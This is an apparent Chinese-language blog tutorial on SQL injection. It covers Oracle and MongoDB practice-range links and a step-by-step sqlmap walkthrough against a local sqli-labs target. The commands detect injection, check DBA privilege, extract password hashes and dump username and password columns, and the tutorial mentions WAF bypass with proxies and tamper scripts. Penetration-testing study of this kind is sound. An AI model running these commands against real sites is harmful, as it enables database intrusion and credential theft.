目录
一,数据库注入-联合猜解-Oracle&Mongodb
案例:
二,SQLMAP的讲解和使用
1.关于SQLmap的几个知识点
1.1什么是SQLMAP?
1.2它支持哪些数据库的注入?
1.3它支持哪些SQL注入模式?
1.4它支持哪些其他不一样的功能?
1.5使用SQLMAP一般注入流程分析 ?
2.SQLMAP的下载安装
3.SQLMAP的使用
4.基于MYSQL数据库的简单案例
4.1在sqlmap目录下打开cmd
4.2假设目标注入点是http://localhost/sqli-labs-php7-master/Less-1/?id=1 ,判断其是否存在注入点
4.3读取数据库版本,当前用户,当前数据库
4.4判断当前数据库用户权限
4.5读取所有数据库用户或指定数据库用户的密码
4.6获取所有数据库
4.7获取指定数据库中的所有表
4.8获取指定数据库名中指定表的字段
4.9获取指定数据库名中指定表中指定字段的数据
三,数据库注入-SQLMAP-DB2&SQLite&Sybase
四,数据库注入-SQLMAP-数据猜解&高权限读写执行
关于Oracle注入的参考文章:https://www.cnblogs.com/peterpan0707007/p/8242119.html
Mongodb参考: https://www.runoob.com/mongodb/mongodb-query.html
Oracle墨者学院在线靶场:https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe
Mongodb墨者学院在线靶场:
https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe
这里我就不演示了,有点小贵,没钱哈哈哈哈!!!
sqlmap 是一个开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器的过程。它配备了强大的检测引擎、用于终极渗透测试仪的许多利基功能以及从数据库指纹识别、从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令的各种切换。
完全支持 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、MariaDB、MemSQL、TiDB、CockroachDB、HSQLDB、H2、MonetDB、Apache Derby、Amazon Redshift、Vertica、Mckoi、Presto、Altibase、MimerSQL、CrateDB、Greenplum、Drizzle、Apache Ignite、Cubrid、InterSystems Cache、IRIS、eXtremeDB、FrontBase、Raima Database Manager、YugabyteDB、Aurora、OpenGauss、ClickHouse 和 Virtuoso 数据库管理系统。
基本上支持市面上的百分之九十数据库
完全支持六种 SQL 注入技术:基于布尔的盲、基于时间的盲、基于错误、基于 UNION 查询、堆叠查询和带外。
支持代理注入:在注入的时候,代理可以让你时时刻刻看到sqlmap的进度,还能解决waf过滤,比如说当你请求过快,网站可能会直接将你拉入到黑名单,使你访问不了,这个时候sqlmap可以通过代理去尝试绕过,代理也可以解决网站访问速度和拒绝访问的情况
提供了tamper脚本:在注入的过程中,会遇到一些复杂的注入(waf绕过,过滤,编码等),tamper脚本可以尝试绕过
判断注入点->判断数据库类型->判断是否存在高低权限->低权限只能猜解数据,只有高权限才能进行文件的读取和写入
2.1官网下载python https://www.python.org/
sqlmap需要在python环境下运行,所以要先安装python
2.2.官网下载:https://sqlmap.org/
参考文章:https://www.cnblogs.com/bmjoker/p/9326258.html
python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1"
输入命令回车即可,中途如果停止直接回车即可,直到看到下面这个页面就说明存在注入点
python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" -f -b --current-user --current-db -v 0
python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --is-dba -U root -v 1
这里有个问题,我的靶场数据库明明是通过root用户创建的,为什么我这里显示的不是最高用户权限,如果有大神看到在评论区告诉我一下,谢谢!!!
python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --users --passwords -v 2
python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --dbs
python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --tables -D security
python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --columns -D security -T users
python sqlmap.py -u "http://localhost/sqli-labs-php7-master/Less-1/?id=1" --dump -D security -T users -C "username,password"
至于文件的读写因为这里不是最高权限,所以无法完成